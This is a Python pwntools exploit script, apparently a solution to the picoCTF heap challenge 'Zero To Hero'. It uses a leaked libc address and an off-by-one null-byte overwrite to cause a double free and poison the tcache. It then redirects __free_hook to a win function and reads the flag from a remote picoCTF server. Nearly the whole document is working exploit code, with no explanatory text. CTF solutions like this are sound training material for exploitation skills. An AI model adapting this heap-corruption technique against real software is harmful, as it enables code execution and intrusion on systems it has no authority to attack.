Zero To Hero

#!/usr/bin/env python3

from pwn import *
#import time
#from termcolor import colored
#from tqdm import tqdm

elf = ELF("./zero_to_hero_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.29.so")
rop = ROP(elf)

context.aslr = False
context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b *0x400b80
b *0x400c2e
"""


def conn():
    if args.REMOTE:
        r = remote("fickle-tempest.picoctf.net", 64703)
    elif args.GDB:
        r = gdb.debug([elf.path], gdbscript=dbginit)
    else:
        r = process([elf.path])
    return r


r = conn()

sl  = lambda a   : r.sendline(a)
sla = lambda a,b : r.sendlineafter(a,b)
ru  = lambda a   : r.recvuntil(a)
rud = lambda a   : r.recvuntil(a,drop=True)

def alloc_write(size, data):
    sla(b'> ', b'1')
    sla(b'> ', str(size).encode("ascii"))
    sla(b'> ', data)


def free(index):
    sla(b'> ', b'2')
    sla(b'> ', str(index).encode("ascii"))


def main():
    r.sendline(b'y')
    r.recvuntil(b'Take this: ')
    system = int(r.recvuntil(b'\n',drop=True).decode("ascii"),16)
    libc.address = system - libc.sym["system"]
    print(hex(libc.address))
    free_hook = libc.sym["__free_hook"]
    print(hex(free_hook))
    win = 0x400a02

    alloc_write(0x28,b'i'*0x27)
    alloc_write(0x108,b'i')
    free(1)                          # [ 0x110 : 0x603290 -> 0 ]
    free(0)                          # [ 0x30  : 0x603260 -> 0 ][ 0x110 : 0x603290 -> 0 ]
    alloc_write(0x28,b'i'*0x28)      # [ 0x110 : 0x603290 -> 0 ]
    free(1)                          # [ 0x100 : 0x603290 -> 0 ][ 0x110 : 0x603290 -> 0 ]
    alloc_write(0xf8,p64(free_hook)) # [ 0x110 : 0x603290 -> __free_hook ]
    alloc_write(0x108,b'i')          # [ 0x110 : __free_hook ]
    alloc_write(0x108,p64(win))      # []
    r.clean()
    free(0)
    flag = r.recvuntilS(b'}')

    print()
    print(flag)
    print()


if __name__ == "__main__":
    main()